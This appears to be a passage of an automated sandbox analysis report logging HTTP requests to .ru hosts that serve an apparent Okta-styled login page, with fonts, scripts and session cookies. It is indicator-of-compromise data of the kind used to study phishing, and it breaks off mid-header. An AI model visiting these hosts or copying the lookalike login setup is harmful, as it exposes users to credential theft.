Source: global traffic	HTTP traffic detected: GET /jawari@d09yk9wv HTTP/1.1Host: svh3dl.djktgj.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fIcaNduRepaS/ HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: https://zy7z.fmaymzjp.ru/fIcaNduRepaS/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkVqOW43clN3TlFxY3NsV3ZXQ1lYTlE9PSIsInZhbHVlIjoiTGNEUEZvMFlIelBuaEIzOEhoaDNHbVd0L0hIR1VZcmVqU2RHM1RXZ1ZUTXdoUGE3U0NON1VvcWtyeGx2eTBVOW53QWk2VFZ1cWpIQVk5NDl5R3hPTlZpQ3dGVUQxUVV1WU8zcDRYckNERWQyeWRJNGt4Q2xSdE1uOFU2ZFlvc0MiLCJtYWMiOiI3ZmU0ZjNhN2U0ODY2NGU2NzI4NmNkMzFkZDdiNGYzY2NlYTRhMGZkMjhkYzAxMzc1ZjdmNWJmY2VlYmQ1MDI2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Impic1R0Q0dabUFQbW4zYmV2UVNyVkE9PSIsInZhbHVlIjoiNEtqalk4Yy9mUTlXTyt4bEgvbE9hQk81NmdvaEtnOGhqNTd4a0NvRTNXcVpHK3Nsc0Z6eDBBSm9QaEZaU2kzVE9nODh4Zk5mN0o0czhoQkVPdXBBQ0pDVlJ0VWh4UFhEZW5QcU42VGpBRGtsQlByTU92ejJQVHIzTHROWC9JcmYiLCJtYWMiOiI4YzJkNGI0YTJiY2ZiNWFlMWZjZTJhMDhkZDE4NDE0OWI5MDZhMTY3YTI3YTk4OTVhN2RkZmQ2MzBmNmNhZTdkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mxnGiuCebjMBjUQRf6mDgo59rEscCBjf HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkVqOW43clN3TlFxY3NsV3ZXQ1lYTlE9PSIsInZhbHVlIjoiTGNEUEZvMFlIelBuaEIzOEhoaDNHbVd0L0hIR1VZcmVqU2RHM1RXZ1ZUTXdoUGE3U0NON1VvcWtyeGx2eTBVOW53QWk2VFZ1cWpIQVk5NDl5R3hPTlZpQ3dGVUQxUVV1WU8zcDRYckNERWQyeWRJNGt4Q2xSdE1uOFU2ZFlvc0MiLCJtYWMiOiI3ZmU0ZjNhN2U0ODY2NGU2NzI4NmNkMzFkZDdiNGYzY2NlYTRhMGZkMjhkYzAxMzc1ZjdmNWJmY2VlYmQ1MDI2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Impic1R0Q0dabUFQbW4zYmV2UVNyVkE9PSIsInZhbHVlIjoiNEtqalk4Yy9mUTlXTyt4bEgvbE9hQk81NmdvaEtnOGhqNTd4a0NvRTNXcVpHK3Nsc0Z6eDBBSm9QaEZaU2kzVE9nODh4Zk5mN0o0czhoQkVPdXBBQ0pDVlJ0VWh4UFhEZW5QcU42VGpBRGtsQlByTU92ejJQVHIzTHROWC9JcmYiLCJtYWMiOiI4YzJkNGI0YTJiY2ZiNWFlMWZjZTJhMDhkZDE4NDE0OWI5MDZhMTY3YTI3YTk4OTVhN2RkZmQ2MzBmNmNhZTdkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zy7z.fmaymzjp.ru/fIcaNduRepaS/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlZpVGJEOHlVUSs0anJ6MzhCaEZVQ3c9PSIsInZhbHVlIjoiZ2Zjb0I2R3ZsbnRhRjVrazBpYmlJUTdoRWNwVktXNU5EaG4wVFRPeVZJWkptdnpHY3lnY2xZL2tJK3lVVXVZYkw1VThOdGYwd2J2SityeThObjc0YnIzV2lnL01kOFU2Q2hSWnV1K0gzOGtma0VucWxhaytSa2JDMlJxa3hnMlgiLCJtYWMiOiI2NWY3ODg2YWU1NWI5N2U5NDQ0YmU3ZjMyYjE5YTY1Y2QzNzc3OGMyODBmMzM4ZWJlZDE0NDMyMWRlNjI2MDMxIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IksvczY4VjY0dW1RcTFrYVdDcnFjV3c9PSIsInZhbHVlIjoiVHp3Vk90djBOZnFLb0tHY3FOTTVlTjBtZVBiZVU5ei9seTA2TCt0WUJKUU1JNlFOSVV2cjlzdm5iUUdSNkNTeUgyZndlZWlpRnNjbW82QmdQNitKcGJvaWFpS0x1RUx1bHUyd2NFT0x2bVBvaWV0QUkyS3dmZW9HV2ppdnh1UmoiLCJtYWMiOiI2YTczOTZmY2JlM2VjMTMwZWJmNmQwNDBhOWNmZTMwNjBkOTI2NDdlZGU4NjI0Y2Y2YjkxZjU4OGI1ZjgyMjY1IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMY HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-alivesec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://zy7z.fmaymzjp.ru/fIcaNduRepaS/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImQ0VUdCV0F1aTdYY0g0NUhrd3FOMVE9PSIsInZhbHVlIjoieFYrQ3lVd0Niay9KOURHbkV5blFKV0FMeUNDR1pOK0V5b28xcVlYSlhuL2hkYzRkZWp3M2VkQXNOeWtuNzFZcVNTczJnbmN2aFh3Y0FkQzdNb3BHTTdOZU9JMmFXRG5uMmdybzgrSi9ySjBHTDBaWUxmWHBqTURMZ3c2UFdZMDIiLCJtYWMiOiIxNjE4MDY3NWE3MTgxYjc3MDY0MDgxYWQ2NTBmM2JhNzAzOGFjMzljYmVkOTcwMDAzZDg4YmQ4ZTU3YmUyODAwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVxUC94YjNNNWhYVGJoVXBxM1R5VXc9PSIsInZhbHVlIjoiWkNuY1NLUmJmRm9XaEhDSUs2VTNxTkcxRSs3dFRjWHhlSGF6elJyQlZVZzJlTWhCcExvSXRoaEF0TmxaQTJxbXBwNjlHblFLWFlzd2UxK0pWUnZqWGE4VUkvbUVreHE4UVJIK05UZUFSMStpeFM5d21yNXFhQi9zUG5EV2hJSFciLCJtYWMiOiI1MDE3YjcyNTNiYjU4MWEzMjI0ZjBlYmQwZDUyNmMyN2EwYTNkMDA1ZDYxZGQ5MjdkNWEwNmFjOTBmYWQ1NzYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /lmK872PnEvFhfAX0u0ValNz5o5iR18fGtkIzE6hpFhwkn2VoUbgy HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6ImQ0VUdCV0F1aTdYY0g0NUhrd3FOMVE9PSIsInZhbHVlIjoieFYrQ3lVd0Niay9KOURHbkV5blFKV0FMeUNDR1pOK0V5b28xcVlYSlhuL2hkYzRkZWp3M2VkQXNOeWtuNzFZcVNTczJnbmN2aFh3Y0FkQzdNb3BHTTdOZU9JMmFXRG5uMmdybzgrSi9ySjBHTDBaWUxmWHBqTURMZ3c2UFdZMDIiLCJtYWMiOiIxNjE4MDY3NWE3MTgxYjc3MDY0MDgxYWQ2NTBmM2JhNzAzOGFjMzljYmVkOTcwMDAzZDg4YmQ4ZTU3YmUyODAwIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IlVxUC94YjNNNWhYVGJoVXBxM1R5VXc9PSIsInZhbHVlIjoiWkNuY1NLUmJmRm9XaEhDSUs2VTNxTkcxRSs3dFRjWHhlSGF6elJyQlZVZzJlTWhCcExvSXRoaEF0TmxaQTJxbXBwNjlHblFLWFlzd2UxK0pWUnZqWGE4VUkvbUVreHE4UVJIK05UZUFSMStpeFM5d21yNXFhQi9zUG5EV2hJSFciLCJtYWMiOiI1MDE3YjcyNTNiYjU4MWEzMjI0ZjBlYmQwZDUyNmMyN2EwYTNkMDA1ZDYxZGQ5MjdkNWEwNmFjOTBmYWQ1NzYzIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /563n1EOgaksuabejh6720 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNGdUVxZ05rM0RONmRuTnZsaW5xRFE9PSIsInZhbHVlIjoiRnozenlhbmxYTko0SE01YmJRV21tRWZ1YXhhNlNTcnFYZ2xadkFpVjkrUzBGU0lqSHQ3VXJBVnRvRVFhYUM5SUF6ODN1YnhvdDRUdFJYS1h4UThBRytaeCs5VTdyK2kwMEhrYnlRR0pEdUxvREIxYWNGZTQ0QUxMUE5JS1M2UG4iLCJtYWMiOiI2NTliNGNiZGZkMjk1NTZkZjE5OWRhNzVlZGJiYTEzZjhhZmRmMDE4NTc1ODg0YTI4NmE3ZThhNGFhOTdjN2I2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFSRlFESHI4NytMTmJEdWdQKzJ2WUE9PSIsInZhbHVlIjoiaHpyQS9jaVRDS1dBUnZYanVEcjhCeEViRENFdjhCOVprb0RPZ0FpY2ZwUjc2SUt6N3lQMm9VWkNnOHhWQnpCaWNTZTlLVUJrVWNGVXM0dlN2Z2FSaU1lV3B0NFlTZGE0WjhUV3JleGV2aGpCVGhqN0F6TUs1YmlaTzQ2NHg0R1ciLCJtYWMiOiI1ZmIwZDU4ZjEzMDkxMTdkYTMxNDA3NmU2OWRhZjU1ZmIwZWYxMzE5YTJjOGU4YmM2MDBkNDI4NzAyYzY2NWU4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /abkqeHN7EYNpOpq1CDQcd30 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNGdUVxZ05rM0RONmRuTnZsaW5xRFE9PSIsInZhbHVlIjoiRnozenlhbmxYTko0SE01YmJRV21tRWZ1YXhhNlNTcnFYZ2xadkFpVjkrUzBGU0lqSHQ3VXJBVnRvRVFhYUM5SUF6ODN1YnhvdDRUdFJYS1h4UThBRytaeCs5VTdyK2kwMEhrYnlRR0pEdUxvREIxYWNGZTQ0QUxMUE5JS1M2UG4iLCJtYWMiOiI2NTliNGNiZGZkMjk1NTZkZjE5OWRhNzVlZGJiYTEzZjhhZmRmMDE4NTc1ODg0YTI4NmE3ZThhNGFhOTdjN2I2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFSRlFESHI4NytMTmJEdWdQKzJ2WUE9PSIsInZhbHVlIjoiaHpyQS9jaVRDS1dBUnZYanVEcjhCeEViRENFdjhCOVprb0RPZ0FpY2ZwUjc2SUt6N3lQMm9VWkNnOHhWQnpCaWNTZTlLVUJrVWNGVXM0dlN2Z2FSaU1lV3B0NFlTZGE0WjhUV3JleGV2aGpCVGhqN0F6TUs1YmlaTzQ2NHg0R1ciLCJtYWMiOiI1ZmIwZDU4ZjEzMDkxMTdkYTMxNDA3NmU2OWRhZjU1ZmIwZWYxMzE5YTJjOGU4YmM2MDBkNDI4NzAyYzY2NWU4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff2 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-aliveOrigin: https://zy7z.fmaymzjp.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNGdUVxZ05rM0RONmRuTnZsaW5xRFE9PSIsInZhbHVlIjoiRnozenlhbmxYTko0SE01YmJRV21tRWZ1YXhhNlNTcnFYZ2xadkFpVjkrUzBGU0lqSHQ3VXJBVnRvRVFhYUM5SUF6ODN1YnhvdDRUdFJYS1h4UThBRytaeCs5VTdyK2kwMEhrYnlRR0pEdUxvREIxYWNGZTQ0QUxMUE5JS1M2UG4iLCJtYWMiOiI2NTliNGNiZGZkMjk1NTZkZjE5OWRhNzVlZGJiYTEzZjhhZmRmMDE4NTc1ODg0YTI4NmE3ZThhNGFhOTdjN2I2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFSRlFESHI4NytMTmJEdWdQKzJ2WUE9PSIsInZhbHVlIjoiaHpyQS9jaVRDS1dBUnZYanVEcjhCeEViRENFdjhCOVprb0RPZ0FpY2ZwUjc2SUt6N3lQMm9VWkNnOHhWQnpCaWNTZTlLVUJrVWNGVXM0dlN2Z2FSaU1lV3B0NFlTZGE0WjhUV3JleGV2aGpCVGhqN0F6TUs1YmlaTzQ2NHg0R1ciLCJtYWMiOiI1ZmIwZDU4ZjEzMDkxMTdkYTMxNDA3NmU2OWRhZjU1ZmIwZWYxMzE5YTJjOGU4YmM2MDBkNDI4NzAyYzY2NWU4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-aliveOrigin: https://zy7z.fmaymzjp.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNGdUVxZ05rM0RONmRuTnZsaW5xRFE9PSIsInZhbHVlIjoiRnozenlhbmxYTko0SE01YmJRV21tRWZ1YXhhNlNTcnFYZ2xadkFpVjkrUzBGU0lqSHQ3VXJBVnRvRVFhYUM5SUF6ODN1YnhvdDRUdFJYS1h4UThBRytaeCs5VTdyK2kwMEhrYnlRR0pEdUxvREIxYWNGZTQ0QUxMUE5JS1M2UG4iLCJtYWMiOiI2NTliNGNiZGZkMjk1NTZkZjE5OWRhNzVlZGJiYTEzZjhhZmRmMDE4NTc1ODg0YTI4NmE3ZThhNGFhOTdjN2I2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFSRlFESHI4NytMTmJEdWdQKzJ2WUE9PSIsInZhbHVlIjoiaHpyQS9jaVRDS1dBUnZYanVEcjhCeEViRENFdjhCOVprb0RPZ0FpY2ZwUjc2SUt6N3lQMm9VWkNnOHhWQnpCaWNTZTlLVUJrVWNGVXM0dlN2Z2FSaU1lV3B0NFlTZGE0WjhUV3JleGV2aGpCVGhqN0F6TUs1YmlaTzQ2NHg0R1ciLCJtYWMiOiI1ZmIwZDU4ZjEzMDkxMTdkYTMxNDA3NmU2OWRhZjU1ZmIwZWYxMzE5YTJjOGU4YmM2MDBkNDI4NzAyYzY2NWU4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-aliveOrigin: https://zy7z.fmaymzjp.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNGdUVxZ05rM0RONmRuTnZsaW5xRFE9PSIsInZhbHVlIjoiRnozenlhbmxYTko0SE01YmJRV21tRWZ1YXhhNlNTcnFYZ2xadkFpVjkrUzBGU0lqSHQ3VXJBVnRvRVFhYUM5SUF6ODN1YnhvdDRUdFJYS1h4UThBRytaeCs5VTdyK2kwMEhrYnlRR0pEdUxvREIxYWNGZTQ0QUxMUE5JS1M2UG4iLCJtYWMiOiI2NTliNGNiZGZkMjk1NTZkZjE5OWRhNzVlZGJiYTEzZjhhZmRmMDE4NTc1ODg0YTI4NmE3ZThhNGFhOTdjN2I2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFSRlFESHI4NytMTmJEdWdQKzJ2WUE9PSIsInZhbHVlIjoiaHpyQS9jaVRDS1dBUnZYanVEcjhCeEViRENFdjhCOVprb0RPZ0FpY2ZwUjc2SUt6N3lQMm9VWkNnOHhWQnpCaWNTZTlLVUJrVWNGVXM0dlN2Z2FSaU1lV3B0NFlTZGE0WjhUV3JleGV2aGpCVGhqN0F6TUs1YmlaTzQ2NHg0R1ciLCJtYWMiOiI1ZmIwZDU4ZjEzMDkxMTdkYTMxNDA3NmU2OWRhZjU1ZmIwZWYxMzE5YTJjOGU4YmM2MDBkNDI4NzAyYzY2NWU4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-aliveOrigin: https://zy7z.fmaymzjp.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNGdUVxZ05rM0RONmRuTnZsaW5xRFE9PSIsInZhbHVlIjoiRnozenlhbmxYTko0SE01YmJRV21tRWZ1YXhhNlNTcnFYZ2xadkFpVjkrUzBGU0lqSHQ3VXJBVnRvRVFhYUM5SUF6ODN1YnhvdDRUdFJYS1h4UThBRytaeCs5VTdyK2kwMEhrYnlRR0pEdUxvREIxYWNGZTQ0QUxMUE5JS1M2UG4iLCJtYWMiOiI2NTliNGNiZGZkMjk1NTZkZjE5OWRhNzVlZGJiYTEzZjhhZmRmMDE4NTc1ODg0YTI4NmE3ZThhNGFhOTdjN2I2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFSRlFESHI4NytMTmJEdWdQKzJ2WUE9PSIsInZhbHVlIjoiaHpyQS9jaVRDS1dBUnZYanVEcjhCeEViRENFdjhCOVprb0RPZ0FpY2ZwUjc2SUt6N3lQMm9VWkNnOHhWQnpCaWNTZTlLVUJrVWNGVXM0dlN2Z2FSaU1lV3B0NFlTZGE0WjhUV3JleGV2aGpCVGhqN0F6TUs1YmlaTzQ2NHg0R1ciLCJtYWMiOiI1ZmIwZDU4ZjEzMDkxMTdkYTMxNDA3NmU2OWRhZjU1ZmIwZWYxMzE5YTJjOGU4YmM2MDBkNDI4NzAyYzY2NWU4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zy7z.fmaymzjp.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://zy7z.fmaymzjp.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://zy7z.fmaymzjp.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250321%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250321T060321Z&X-Amz-Expires=300&X-Amz-Signature=071a119fff1ae5c19ff0932ca383c324cdabb60cd6fc72f7da9ceee2dda321e0&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://zy7z.fmaymzjp.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-aliveOrigin: https://zy7z.fmaymzjp.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNGdUVxZ05rM0RONmRuTnZsaW5xRFE9PSIsInZhbHVlIjoiRnozenlhbmxYTko0SE01YmJRV21tRWZ1YXhhNlNTcnFYZ2xadkFpVjkrUzBGU0lqSHQ3VXJBVnRvRVFhYUM5SUF6ODN1YnhvdDRUdFJYS1h4UThBRytaeCs5VTdyK2kwMEhrYnlRR0pEdUxvREIxYWNGZTQ0QUxMUE5JS1M2UG4iLCJtYWMiOiI2NTliNGNiZGZkMjk1NTZkZjE5OWRhNzVlZGJiYTEzZjhhZmRmMDE4NTc1ODg0YTI4NmE3ZThhNGFhOTdjN2I2IiwidGFnIjoiIn0%3D; 